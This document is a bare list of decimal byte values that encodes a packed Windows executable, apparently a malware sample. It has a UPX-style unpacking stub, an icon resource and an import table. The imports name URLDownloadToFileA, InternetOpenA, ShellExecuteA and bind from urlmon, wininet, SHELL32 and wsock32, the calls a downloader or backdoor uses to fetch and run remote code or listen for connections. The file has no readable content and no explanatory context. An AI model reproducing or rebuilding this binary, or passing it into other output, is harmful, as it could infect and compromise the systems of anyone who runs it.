,22,148,78,62,49,138,255,70,5,186,171,207,176,152,248,249,254,255,252,253,242,210,130,169,82,96,199,135,223,229,48,151,172,185,34,241,13,113,13,57,7,97,30,149,136,157,175,6,183,253,194,86,151,182,188,168,181,183,192,198,26,196,23,26,214,192,192,185,222,75,14,195,62,184,165,208,187,6,43,186,151,237,174,222,30,165,250,252,251,150,156,215,137,65,24,185,68,107,211,110,36,250,143,250,22,162,57,88,79,131,233,27,72,137,43,20,202,209,5,242,6,231,43,244,6,185,150,126,29,237,158,215,153,138,214,224,26,12,27,228,138,5,236,109,168,102,238,5,142,158,131,7,60,7,165,66,97,145,130,31,112,123,102,160,54,89,250,116,137,96,0,34,219,22,44,180,123,167,250,171,130,99,137,138,230,110,208,158,250,33,143,130,5,93,208,198,160,102,223,112,104,153,46,27,228,90,187,119,146,149,180,92,4,188,155,84,219,165,104,128,34,215,155,33,186,7,199,151,192,182,240,150,155,152,250,54,137,107,205,25,110,149,149,157,222,13,171,205,28,221,90,51,112,151,138,44,127,194,82,250,138,107,173,109,173,59,215,86,155,191,11,148,26,154,187,109,91,16,157,48,186,71,138,212,172,82,214,130,70,219,41,131,124,45,244,166,24,218,214,220,149,230,162,136,151,189,166,92,221,194,55,181,166,250,208,212,208,221,141,105,212,162,155,117,156,23,241,151,137,157,0,137,5,4,205,152,121,251,130,151,150,30,158,152,130,4,158,159,92,222,54,127,19,148,153,146,151,156,60,149,158,137,153,156,92,59,196,193,24,121,4,33,177,95,193,21,118,33,39,94,152,152,84,187,246,193,117,78,150,43,48,212,143,207,53,157,147,109,110,236,115,68,24,158,114,144,64,200,146,26,134,39,195,231,189,218,181,156,49,227,180,96,218,10,162,201,157,174,145,44,70,195,182,106,173,219,145,227,219,184,41,181,247,33,180,17,162,170,214,11,6,185,226,39,135,47,141,218,177,159,131,19,54,204,165,236,53,95,45,38,53,173,208,14,108,45,170,25,79,17,20,202,173,181,137,11,4,10,155,150,120,104,165,87,46,85,218,153,10,150,72,21,93,151,93,183,219,219,42,218,55,159,104,157,12,180,254,155,211,88,101,139,120,135,142,123,137,104,37,188,109,50,180,147,29,7,50,142,145,131,172,85,49,10,158,58,216,23,182,208,218,89,69,138,152,14,12,146,24,195,98,173,137,74,130,0,58,229,25,29,241,168,169,8,92,218,221,57,56,102,162,234,33,187,146,15,43,96,91,107,239,87,65,205,50,176,75,133,220,118,182,149,221,146,89,233,130,155,92,172,98,107,13,37,145,237,130,162,237,172,219,14,194,49,141,195,162,0,218,236,41,202,230,29,92,136,27,137,71,193,150,221,56,187,126,218,204,41,17,209,132,9,238,207,218,170,108,48,62,232,182,205,130,150,143,124,152,71,170,146,160,173,173,25,15,4,45,195,176,143,26,44,180,19,104,183,35,24,130,148,101,170,133,14,120,140,75,143,58,216,110,77,173,62,164,49,146,224,143,152,15,142,10,13,98,230,236,68,118,82,168,125,59,214,59,12,250,158,0,221,214,221,218,5,198,173,230,214,101,0,218,131,218,67,178,192,143,216,54,182,210,192,62,9,223,42,147,3,200,14,92,221,214,91,10,190,132,192,89,63,204,106,208,182,149,7,216,8,47,61,1,151,48,83,129,16,110,244,45,117,210,217,44,183,134,215,59,192,216,168,81,236,30,32,203,147,215,86,142,90,16,60,21,140,87,214,186,111,45,94,2,215,174,131,138,101,151,213,176,237,214,234,162,41,213,27,164,158,193,31,86,168,86,176,218,0,63,4,24,154,11,182,209,131,146,215,0,119,30,70,246,134,185,188,15,17,79,134,198,166,135,70,213,23,150,193,105,142,209,106,52,19,108,63,31,38,0,1,107,180,80,147,29,44,120,197,6,45,202,137,245,215,106,82,89,225,230,192,57,205,152,56,94,6,218,161,214,17,87,128,84,120,236,237,32,123,143,81,152,117,159,204,206,34,34,180,88,177,157,101,11,116,84,107,20,99,78,161,101,193,38,44,176,24,139,85,75,81,96,42,251,20,196,155,155,78,214,26,95,171,3,184,94,213,213,24,23,132,45,59,208,137,45,177,176,96,111,16,18,149,250,4,158,224,207,125,109,3,17,212,25,3,198,152,136,239,193,135,247,126,9,157,196,198,30,17,217,107,177,18,198,9,6,22,228,104,165,173,210,198,62,80,137,168,93,196,96,39,92,180,158,192,18,196,64,170,236,216,161,203,203,115,158,138,12,218,215,9,13,99,179,55,22,13,0,168,18,183,46,190,9,180,137,72,210,13,178,132,106,236,210,177,149,9,163,155,83,149,219,10,174,1,107,44,53,255,121,131,108,14,65,135,217,110,84,192,211,13,191,77,218,49,171,198,130,94,30,190,25,3,123,153,48,184,132,248,29,91,114,200,100,20,183,191,140,131,67,195,222,16,28,92,216,238,32,196,90,153,6,183,250,185,126,61,92,13,94,57,139,46,193,86,168,66,233,13,165,6,48,106,106,181,100,79,188,155,130,68,118,207,45,22,84,232,234,158,1,109,9,163,149,185,101,145,107,21,218,30,157,53,154,193,17,123,169,26,28,165,8,195,101,34,255,14,140,13,251,150,116,138,50,158,236,0,218,115,117,54,59,155,5,16,212,126,4,238,103,3,87,177,226,147,140,130,158,4,67,27,86,152,147,118,42,182,180,90,44,186,114,218,87,109,114,224,130,108,116,145,137,78,137,101,216,33,108,15,152,147,16,138,194,138,179,134,91,214,112,212,141,159,23,35,25,212,6,176,65,107,138,6,11,176,67,93,14,137,240,112,33,0,118,25,71,215,108,186,5,182,108,131,51,175,137,164,52,58,120,100,128,55,53,151,153,41,155,176,15,152,212,69,187,152,147,45,163,97,143,173,95,156,132,240,2,8,75,182,35,247,74,174,29,179,136,43,249,150,66,28,156,2,66,158,30,8,198,228,158,161,215,162,27,45,26,115,0,59,236,209,55,141,194,134,192,101,33,17,54,27,187,235,51,126,34,11,132,45,44,88,210,3,152,212,102,130,98,15,12,53,113,190,199,147,82,41,138,28,144,140,165,226,14,169,235,150,212,221,223,49,250,252,165,55,49,19,135,13,54,183,223,28,161,176,112,72,227,163,49,165,28,33,92,89,104,96,165,78,141,84,165,51,148,220,91,148,178,185,156,165,182,255,210,5,24,112,29,199,142,23,140,83,109,107,177,249,250,79,19,137,33,21,154,234,78,88,131,95,187,150,44,165,94,158,92,37,220,174,78,176,149,41,124,28,131,104,110,166,2,95,137,165,148,156,53,76,221,156,127,102,143,156,128,1,109,4,173,157,122,155,7,197,143,147,107,142,220,215,29,158,17,136,68,239,172,197,108,223,179,152,14,107,169,151,83,179,134,159,76,48,52,124,132,165,15,165,235,30,214,50,213,90,36,221,222,44,130,54,88,112,142,130,140,11,140,77,147,187,109,49,139,64,138,144,129,142,174,62,115,96,152,172,148,33,137,32,23,228,114,115,111,68,72,187,153,150,213,30,143,138,220,161,182,77,172,24,143,23,36,50,140,93,204,21,82,185,62,104,142,169,188,95,181,138,16,67,23,253,150,167,90,192,96,104,168,239,104,68,193,28,185,169,244,94,57,181,218,34,133,164,55,146,112,168,109,177,202,167,119,90,180,2,31,108,131,248,142,170,39,151,54,183,143,162,130,173,3,241,111,1,174,191,180,163,177,169,190,113,86,27,181,24,205,187,137,188,211,104,201,169,255,29,180,70,72,20,235,250,221,190,221,136,221,149,221,138,239,254,133,118,1,159,221,42,169,221,145,221,131,221,180,11,142,221,250,165,77,179,253,246,215,149,181,155,73,134,215,209,169,209,3,145,131,180,253,219,210,52,159,142,134,101,177,181,149,215,165,250,161,49,226,82,206,79,136,166,128,167,29,63,107,112,180,137,131,106,69,151,105,176,145,150,169,205,210,53,83,151,82,0,215,196,175,63,99,175,153,198,10,17,105,167,169,215,145,220,249,22,250,215,131,215,180,215,80,142,93,161,208,170,145,225,142,245,172,250,160,210,139,128,163,176,212,133,237,185,129,174,82,131,192,111,62,250,195,162,178,142,238,250,24,106,67,91,72,113,138,15,166,218,188,213,132,214,54,83,141,7,8,92,61,214,24,204,250,7,174,39,82,179,185,171,96,163,91,214,182,250,67,13,190,54,176,135,109,108,173,106,41,200,149,250,65,169,37,23,161,171,140,105,137,190,224,14,221,82,3,87,51,51,138,131,67,170,53,71,205,0,90,7,140,84,100,142,10,176,89,180,220,154,139,97,44,73,189,101,187,37,250,17,207,17,56,58,137,200,70,131,10,48,10,190,218,132,250,115,1,89,140,138,92,34,0,9,69,2,11,37,137,3,255,151,203,169,52,1,84,80,1,71,101,116,77,111,100,117,108,101,216,22,0,203,70,105,78,131,65,19,88,11,128,255,80,114,111,99,65,100,100,114,144,15,255,236,183,255,83,121,115,116,101,109,68,105,16,99,116,111,114,121,36,84,105,99,107,67,111,236,219,22,236,117,110,116,13,60,70,27,109,97,116,65,15,99,109,236,159,90,111,110,101,73,110,102,21,105,11,23,87,109,255,132,253,105,110,100,111,119,115,75,108,111,98,97,108,65,108,6,99,247,191,109,135,12,70,29,101,11,76,111,97,100,76,105,98,114,97,38,207,98,201,186,13,99,37,11,36,77,97,187,53,247,254,112,86,105,101,119,79,102,194,14,204,107,66,121,174,239,91,251,118,84,111,106,100,101,67,104,60,20,79,112,101,110,211,107,219,193,98,207,8,51,50,48,114,214,15,205,218,238,1,78,101,120,14,82,101,116,74,33,128,221,205,173,103,103,105,105,68,114,130,107,91,247,118,83,116,5,110,103,115,137,83,24,69,197,113,181,221,207,13,13,8,65,116,31,98,117,120,117,173,253,130,33,19,80,111,49,16,128,83,218,33,130,187,11,101,112,6,71,26,157,109,219,182,247,31,9,21,84,33,109,39,97,25,225,23,246,100,162,85,110,109,213,87,97,105,116,93,230,12,111,174,83,128,14,79,98,106,59,20,223,237,47,89,11,75,244,20,110,69,120,30,225,118,182,116,50,114,101,61,108,117,114,99,152,203,30,246,217,9,109,112,105,10,112,121,9,46,246,90,176,110,10,49,9,252,250,48,219,102,103,162,71,207,127,122,12,225,11,31,143,16,84,121,112,47,67,145,115,101,72,97,16,15,12,247,94,106,27,201,9,67,117,216,193,10,133,114,168,6,220,73,100,20,215,186,207,2,18,111,109,109,69,76,192,85,4,123,7,199,70,39,144,118,14,155,123,3,59,175,15,120,114,238,105,248,15,219,101,71,67,85,97,251,111,108,104,101,108,112,110,178,95,88,211,83,87,112,115,104,111,116,25,104,6,27,182,225,176,100,13,77,174,120,65,13,90,151,48,67,199,77,112,100,19,12,218,66,178,194,111,31,10,63,97,27,154,108,237,18,190,82,104,75,115,230,110,167,89,90,65,8,22,103,68,25,20,204,225,222,194,86,68,117,56,16,22,13,108,246,100,111,69,116,32,75,101,121,14,114,102,115,111,217,14,223,13,84,78,152,163,157,157,32,33,66,240,31,13,201,110,77,111,144,95,98,74,68,67,182,217,155,29,74,109,125,95,22,9,225,99,59,140,57,70,89,111,228,108,176,141,109,130,59,73,80,131,38,118,239,24,179,89,107,81,92,14,47,207,184,118,195,220,108,8,62,198,66,107,55,219,214,12,103,252,84,165,131,81,114,167,88,223,76,73,54,52,81,49,6,109,79,110,72,219,90,135,73,212,59,14,106,105,10,225,105,54,71,71,213,98,0,83,171,52,91,195,163,108,181,66,65,69,110,64,246,216,27,238,63,223,114,73,65,9,68,117,112,8,217,198,96,110,2,18,84,133,109,9,245,167,233,220,82,39,57,122,88,85,82,76,68,166,155,228,186,101,110,108,64,105,28,133,104,54,109,157,96,125,112,201,116,102,77,29,59,44,236,52,97,103,80,111,144,255,115,107,109,25,102,109,149,112,164,53,122,119,149,26,79,238,222,28,104,85,27,170,28,79,79,211,73,144,120,73,221,110,186,236,107,217,146,2,20,116,65,14,140,128,149,46,85,92,17,243,54,67,219,112,110,110,82,101,100,195,47,89,156,185,182,238,105,140,105,31,95,188,100,59,65,64,163,177,158,116,192,248,85,152,157,204,33,12,98,121,14,72,121,233,107,192,80,88,99,128,115,3,107,101,116,191,202,91,110,98,189,114,97,99,99,37,83,65,129,215,28,119,92,114,116,117,48,35,25,121,54,251,102,174,118,50,122,20,108,7,62,249,47,199,96,205,80,69,76,1,4,0,204,15,144,64,158,52,255,15,224,0,15,1,11,1,5,12,0,68,86,72,80,251,12,7,2,223,88,13,64,11,110,22,108,57,2,4,51,7,12,192,206,220,146,208,30,52,16,7,179,188,36,222,6,79,208,97,220,93,32,144,203,192,160,3,167,196,251,154,174,176,1,30,46,195,116,235,66,144,119,23,246,5,235,4,35,32,30,46,114,100,116,131,237,10,175,163,70,11,251,12,39,72,217,98,221,133,64,2,46,38,71,117,109,74,154,238,112,39,58,84,192,79,6,27,108,129,115,130,0,235,192,115,142,192,191,223,202,39,27,112,100,13,33,198,0,0,0,0,0,0,0,0,32,1,255,0,0,96,190,37,160,64,0,141,190,219,111,255,255,87,131,205,255,235,16,144,144,144,144,144,144,138,6,70,136,7,71,1,219,117,7,139,30,131,238,252,17,219,114,237,184,1,0,0,0,1,219,117,7,139,30,131,238,252,17,219,17,192,1,219,115,239,117,9,139,30,131,238,252,17,219,115,228,49,201,131,232,3,114,13,193,224,8,138,6,70,131,240,255,116,116,137,197,1,219,117,7,139,30,131,238,252,17,219,17,201,1,219,117,7,139,30,131,238,252,17,219,17,201,117,32,65,1,219,117,7,139,30,131,238,252,17,219,17,201,1,219,115,239,117,9,139,30,131,238,252,17,219,115,228,131,193,2,129,253,0,243,255,255,131,209,1,141,20,47,131,253,252,118,15,138,2,66,136,7,71,73,117,247,233,99,255,255,255,144,139,2,131,194,4,137,7,131,199,4,131,233,4,119,241,1,207,233,76,255,255,255,94,137,247,185,7,0,0,0,138,7,71,44,232,60,1,119,247,128,63,0,117,242,139,7,138,95,4,102,193,232,8,193,192,16,134,196,41,248,128,235,232,1,240,137,7,131,199,5,137,216,226,217,141,190,0,192,0,0,139,7,9,192,116,60,139,95,4,141,132,48,164,227,0,0,1,243,80,131,199,8,255,150,128,228,0,0,149,138,7,71,8,192,116,220,137,249,87,72,242,174,85,255,150,132,228,0,0,9,192,116,7,137,3,131,195,4,235,225,255,150,136,228,0,0,97,233,4,108,255,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,3,0,0,0,32,0,0,128,14,0,0,0,96,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,56,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,80,0,0,0,164,240,0,0,232,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,120,0,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,144,0,0,0,144,243,0,0,20,0,0,0,0,0,0,0,0,0,0,0,160,192,0,0,40,0,0,0,32,0,0,0,64,0,0,0,1,0,4,0,0,0,0,0,128,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,128,0,0,0,128,128,0,128,0,0,0,128,0,128,0,128,128,0,0,128,128,128,0,192,192,192,0,0,0,255,0,0,255,0,0,0,255,255,0,255,0,0,0,255,0,255,0,255,255,0,0,255,255,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7,119,119,119,119,119,119,0,0,0,0,0,0,0,0,0,7,136,136,136,136,136,135,0,0,0,0,0,0,0,0,0,7,56,136,51,56,136,55,0,0,0,0,0,0,0,0,0,7,179,131,0,3,131,135,0,0,0,0,0,0,0,0,0,7,255,48,255,176,56,135,0,0,0,0,0,0,0,0,0,7,184,15,191,255,3,135,0,0,0,0,0,0,0,0,0,7,128,191,255,191,240,55,0,0,0,0,0,0,0,0,0,7,15,255,191,255,191,3,0,0,0,0,0,0,0,0,0,7,255,191,255,191,255,176,0,0,0,0,0,0,0,0,0,7,119,119,119,119,119,119,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,128,1,255,255,128,1,255,255,128,1,255,255,128,1,255,255,128,1,255,255,128,1,255,255,128,1,255,255,128,1,255,255,128,1,255,255,128,1,255,255,128,1,255,255,255,255,255,255,255,255,255,255,255,255,255,255,136,195,0,0,0,0,1,0,1,0,32,32,16,0,1,0,4,0,232,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,216,244,0,0,128,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,229,244,0,0,144,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,242,244,0,0,152,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,252,244,0,0,160,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,245,0,0,168,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,18,245,0,0,176,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,245,0,0,184,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,41,245,0,0,192,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,52,245,0,0,200,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,245,0,0,208,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,76,245,0,0,90,245,0,0,106,245,0,0,0,0,0,0,120,245,0,0,0,0,0,0,134,245,0,0,0,0,0,0,144,245,0,0,0,0,0,0,158,245,0,0,0,0,0,0,174,245,0,0,0,0,0,0,184,245,0,0,0,0,0,0,204,245,0,0,0,0,0,0,216,245,0,0,0,0,0,0,232,245,0,0,0,0,0,0,75,69,82,78,69,76,51,50,46,68,76,76,0,97,100,118,97,112,105,51,50,46,100,108,108,0,103,100,105,51,50,46,100,108,108,0,111,108,101,51,50,46,100,108,108,0,83,72,69,76,76,51,50,46,100,108,108,0,115,104,108,119,97,112,105,46,100,108,108,0,117,114,108,109,111,110,46,100,108,108,0,117,115,101,114,51,50,46,100,108,108,0,119,105,110,105,110,101,116,46,100,108,108,0,119,115,111,99,107,51,50,46,100,108,108,0,0,0,76,111,97,100,76,105,98,114,97,114,121,65,0,0,71,101,116,80,114,111,99,65,100,100,114,101,115,115,0,0,69,120,105,116,80,114,111,99,101,115,115,0,0,0,82,101,103,67,108,111,115,101,75,101,121,0,0,0,68,101,108,101,116,101,68,67,0,0,67,111,73,110,105,116,105,97,108,105,122,101,0,0,83,104,101,108,108,69,120,101,99,117,116,101,65,0,0,0,83,116,114,68,117,112,65,0,0,0,85,82,76,68,111,119,110,108,111,97,100,84,111,70,105,108,101,65,0,0,119,115,112,114,105,110,116,102,65,0,0,0,73,110,116,101,114,110,101,116,79,112,101,110,65,0,0,0,98,105,110,100,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,38,99,179,96,153,171,31,57,18,88,189,109,102,180,72,190,152,75,97,164,134,175,192,13,118,126,11,14,97,108,41,141,17,163,80,92,135,114,184,16,111,9,179,1,155,148,77,173,147,67,10,145,128,71,136,40,25,15,68,115,79,146,36,154,55,156,116,103,198,28,167,196,70,93,163,188,141,53,141,4,8,59,186,47,76,51,33,74,36,84,193,72,70,118,63,184,155,21,72,55,151,93,159,156,178,166,16,189,2,162,115,197,100,194,59,178,79,192,68,0,162,46,161,120,98,51,29,163,186,143,67,184,151,149,33,196,18,193,150,14,40,159,61,10,122,26,23,133,58,138,152,130,108,48,37,144,24,105,131,171,114,187,55,53,93,46,146,2,166,151,147,1,102,196,23,89,152,99,180,187,128,77,99,96,107,111,120,89,87,109,6,33,18,51,110,123,112,132,69,123,137,196,180,10,163,70,58,64,64,67,76,11,31,8,6,38,120,4,21,143,32,94,28,192,128,166,18,3,69,69,173,183,18,100,138,17,115,160,81,0,185,72,101,3,10,5,13,87,60,172,164,59,121,59,176,159,16,96,190,35,48,105,145,154,100,66,81,13,179,114,198,180,30,71,72,156,180,178,54,2,26,67,125,52,98,46,38,96,106,128,178,105,33,30,117,26,53,161,44,133,21,80,128,18,145,23,127,126,39,86,33,186,124,152,53,199,47,113,194,121,94,195,139,35,176,66,36,133,170,123,175,49,24,59,188,181,117,22,53,53,133,83,27,148,62,112,163,144,165,41,87,13,125,80,52,196,183,139,57,56,110,194,2,20,106,84,126,129,102,50,90,185,184,82,154,79,88,169,104,130,142,42,11,21,88,128,134,118,10,78,164,29,74,51,163,98,64,166,1,108,10,5,125,141,61,3,36,79,66,178,104,110,195,176,179,33,197,84,156,78,160,128,54,98,180,159,86,75,82,151,18,151,24,176,151,182,82,73,70,73,91,179,97,89,107,121,32,72,53,129,118,150,167,55,75,7,172,161,59,178,8,174,159,161,169,110,98,46,112,125,180,123,72,125,91,11,5,66,140,157,107,145,131,1,107,129,61,37,111,161,63,114,53,8,62,1,74,106,154,31,54,85,74,187,84,151,64,119,36,183,49,82,142,122,180,96,17,171,106,179,28,47,108,107,99,107,170,7,180,16,121,35,55,103,142,137,87,36,193,73,112,84,0,123,169,75,3,172,59,87,99,144,133,194,128,43,1,99,164,155,44,113,164,182,33,8,10,162,146,145,133,41,152,38,37,17,84,146,110,197,64,1,12,3,10,191,6,58,143,163,102,171,149,113,164,118,183,17,26,80,161,3,132,19,62,105,163,179,103,150,147,184,33,14,68,166,149,192,31,190,177,4,35,58,24,144,187,124,150,56,171,114,88,160,51,131,94,89,166,59,32,169,24,181,86,167,146,8,119,143,23,2,53,61,57,113,78,1,47,197,80,48,120,72,163,44,152,53,100,50,31,133,47,143,116,19,25,195,159,79,57,31,12,63,11,117,48,88,139,56,169,36,103,164,16,188,101,27,88,164,185,126,131,110,159,163,88,100,38,144,76,43,37,9,9,174,11,37,145,105,80,116,56,152,148,101,56,170,31,193,100,120,150,196,109,7,93,49,35,103,51,49,191,15,111,134,90,162,127,146,77,63,105,102,95,28,172,107,171,156,7,123,59,132,52,77,150,89,128,121,74,175,54,66,167,170,154,183,27,61,28,148,9,145,28,141,53,199,190,111,188,76,9,97,21,47,52,7,75,100,52,56,121,11,65,134,39,150,107,77,93,174,139,75,57,0,193,114,163,85,117,17,101,128,25,190,98,108,60,127,157,82,48,82,195,43,178,67,179,173,178,81,112,180,104,161,197,173,194,145,88,138,52,32,114,94,189,144,23,71,24,187,110,125,14,197,20,35,0,55,60,11,132,100,31,171,107,19,166,124,156,136,74,125,89,165,60,155,157,67,131,10,188,5,51,4,126,109,191,164,127,133,104,70,30,191,4,173,112,37,109,67,129,117,194,22,51,87,122,188,96,122,88,74,111,14,116,191,187,144,119,75,26,65,35,62,135,66,60,103,38,24,197,134,108,129,105,43,190,82,66,45,90,37,177,151,56,54,68,94,144,159,25,60,65,125,38,118,57,173,154,129,20,182,88,123,85,57,79,198,45,81,172,188,133,118,89,3,139,40,116,155,153,71,158,6,73,162,176,8,103,153,132,133,60,56,6,174,130,178,94,131,25,116,164,23,35,26,190,3,164,31,187,27,34,73,155,123,145,95,148,96,59,168,58,71,39,176,56,55,8,93,6,69,50,16,80,99,136,197,5,113,142,71,80,113,57,123,129,84,61,154,9,52,160,132,14,33,77,75,64,155,43,176,166,117,152,156,59,130,108,1,39,2,199,46,22,99,170,39,63,17,135,62,11,47,154,144,122,149,139,135,55,29,1,109,177,44,118,186,129,104,107,70,160,6,181,67,109,192,89,37,140,150,75,49,181,3,91,81,104,158,57,26,61,148,197,189,82,161,198,139,87,36,167,52,184,147